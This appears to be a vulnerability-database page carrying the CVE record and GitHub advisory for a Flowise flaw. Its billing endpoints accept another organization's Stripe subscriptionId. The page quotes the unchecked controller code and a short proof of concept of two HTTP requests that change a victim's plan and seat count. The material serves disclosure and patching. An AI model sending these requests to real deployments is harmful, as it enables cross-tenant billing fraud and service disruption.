Vulnerability-Lookup

CVE-2026-70476 (GCVE-0-2026-70476)

Vulnerability from cvelistv5 – Published: 2026-08-04 19:23 – Updated: 2026-08-04 19:23

Title

Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, several organization billing endpoints in packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts accept attacker-controlled Stripe subscriptionId values without verifying that the identifier belongs to the authenticated user's organization. An authenticated attacker can perform unauthorized Stripe subscription operations on other tenants, including changing subscription plans or modifying seat quantities, resulting in financial impact and service disruption. This issue is fixed in 3.1.3.

Severity

8.3 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

CWE

CWE-284 - Improper Access Control
CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6321	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/4d789…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
FlowiseAI	Flowise	Affected: < 3.1.2

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, several organization billing endpoints in packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts accept attacker-controlled Stripe subscriptionId values without verifying that the identifier belongs to the authenticated user\u0027s organization. An authenticated attacker can perform unauthorized Stripe subscription operations on other tenants, including changing subscription plans or modifying seat quantities, resulting in financial impact and service disruption. This issue is fixed in 3.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 8.3,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-04T19:23:57.040Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-gmmw-qg98-6j6p",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-gmmw-qg98-6j6p"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/pull/6321",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/pull/6321"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/commit/4d7899d02ca370a5510406be5c91483085a412f9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/commit/4d7899d02ca370a5510406be5c91483085a412f9"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
        }
      ],
      "source": {
        "advisory": "GHSA-gmmw-qg98-6j6p",
        "discovery": "UNKNOWN"
      },
      "title": "Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-70476",
    "datePublished": "2026-08-04T19:23:57.040Z",
    "dateReserved": "2026-08-04T15:24:41.339Z",
    "dateUpdated": "2026-08-04T19:23:57.040Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-70476\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-04T20:16:54.330\",\"lastModified\":\"2026-08-04T20:16:54.330\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, several organization billing endpoints in packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts accept attacker-controlled Stripe subscriptionId values without verifying that the identifier belongs to the authenticated user\u0027s organization. An authenticated attacker can perform unauthorized Stripe subscription operations on other tenants, including changing subscription plans or modifying seat quantities, resulting in financial impact and service disruption. This issue is fixed in 3.1.3.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"FlowiseAI\",\"product\":\"Flowise\",\"versions\":[{\"version\":\"\u003c 3.1.2\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.3,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"PRESENT\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"LOW\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-284\"},{\"lang\":\"en\",\"value\":\"CWE-639\"}]}],\"references\":[{\"url\":\"https://github.com/FlowiseAI/Flowise/commit/4d7899d02ca370a5510406be5c91483085a412f9\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/FlowiseAI/Flowise/pull/6321\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-gmmw-qg98-6j6p\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

GHSA-GMMW-QG98-6J6P

Vulnerability from github – Published: 2026-08-04 19:24 – Updated: 2026-08-04 19:24

Summary

Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

Details

Summary

Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.

This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.

Details

Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.

File

packages/server/src/enterprise/routes/organization.route.ts

Affected routes:

router.post('/update-additional-seats', organizationController.updateAdditionalSeats)
router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)
updateSubscriptionPlan

File

packages/server/src/enterprise/controllers/organization.controller.ts

public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, newPlanId, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateSubscriptionPlan(
        req,
        subscriptionId,
        newPlanId,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.

Missing validation: subscriptionId belongs to req.user.activeOrganization

updateAdditionalSeats

public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, quantity, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateAdditionalSeats(
        subscriptionId,
        quantity,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

Again, the subscriptionId is taken directly from the request body without verifying ownership.

PoC

Step 1 - Obtain victim subscriptionId

This identifier may be obtained via the organization read endpoint or other exposed references.

Example:

sub_YYYYYYYYYYYY

Step 2 - Modify victim subscription

POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "newPlanId": "free_plan_id",
  "prorationDate": 1735689600
}

Step 3 - Change seat quantity

POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "quantity": 0,
  "prorationDate": 1735689600
}

Impact

An authenticated attacker can manipulate the Stripe subscription of other organizations.

Possible consequences include:

Unauthorized subscription upgrades to higher-priced plans
Manipulation of paid seat quantities leading to unintended charges
Service disruption through plan downgrades

Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.

Severity

8.3 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70476"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T19:24:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nSeveral organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user\u0027s organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization\u0027s subscriptionId.\n\nThis allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.\n\n\n### Details\nMultiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user\u0027s organization context.\n\n**File**\n\npackages/server/src/enterprise/routes/organization.route.ts\n\nAffected routes:\n\n```typescript\nrouter.post(\u0027/update-additional-seats\u0027, organizationController.updateAdditionalSeats)\nrouter.post(\u0027/update-subscription-plan\u0027, organizationController.updateSubscriptionPlan)\nupdateSubscriptionPlan\n```\n\n**File**\n\npackages/server/src/enterprise/controllers/organization.controller.ts\n\n```typescript\npublic async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {\n    const { subscriptionId, newPlanId, prorationDate } = req.body\n\n    const identityManager = getRunningExpressApp().identityManager\n\n    const result = await identityManager.updateSubscriptionPlan(\n        req,\n        subscriptionId,\n        newPlanId,\n        prorationDate\n    )\n\n    return res.status(StatusCodes.OK).json(result)\n}\n```\n\nThe server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.\n\nMissing validation:\nsubscriptionId belongs to req.user.activeOrganization\n\nupdateAdditionalSeats\n\n```typescript\npublic async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {\n    const { subscriptionId, quantity, prorationDate } = req.body\n\n    const identityManager = getRunningExpressApp().identityManager\n\n    const result = await identityManager.updateAdditionalSeats(\n        subscriptionId,\n        quantity,\n        prorationDate\n    )\n\n    return res.status(StatusCodes.OK).json(result)\n}\n```\n\nAgain, the subscriptionId is taken directly from the request body without verifying ownership.\n\n### PoC\nStep 1 - Obtain victim subscriptionId\n\nThis identifier may be obtained via the organization read endpoint or other exposed references.\n\nExample:\n\nsub_YYYYYYYYYYYY\n\nStep 2 - Modify victim subscription\n\n```http\nPOST /api/v1/organization/update-subscription-plan\nHost: target.example.com\nCookie: token=\u003cattacker-session\u003e\nContent-Type: application/json\n\n{\n  \"subscriptionId\": \"sub_YYYYYYYYYYYY\",\n  \"newPlanId\": \"free_plan_id\",\n  \"prorationDate\": 1735689600\n}\n```\n\nStep 3 - Change seat quantity\n\n```http\nPOST /api/v1/organization/update-additional-seats\nHost: target.example.com\nCookie: token=\u003cattacker-session\u003e\nContent-Type: application/json\n\n{\n  \"subscriptionId\": \"sub_YYYYYYYYYYYY\",\n  \"quantity\": 0,\n  \"prorationDate\": 1735689600\n}\n```\n\n### Impact\nAn authenticated attacker can manipulate the Stripe subscription of other organizations.\n\nPossible consequences include:\n\n- Unauthorized subscription upgrades to higher-priced plans\n- Manipulation of paid seat quantities leading to unintended charges\n- Service disruption through plan downgrades\n\nBecause the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.",
  "id": "GHSA-gmmw-qg98-6j6p",
  "modified": "2026-08-04T19:24:07Z",
  "published": "2026-08-04T19:24:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-gmmw-qg98-6j6p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/4d7899d02ca370a5510406be5c91483085a412f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-70476 (GCVE-0-2026-70476)

GHSA-GMMW-QG98-6J6P

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature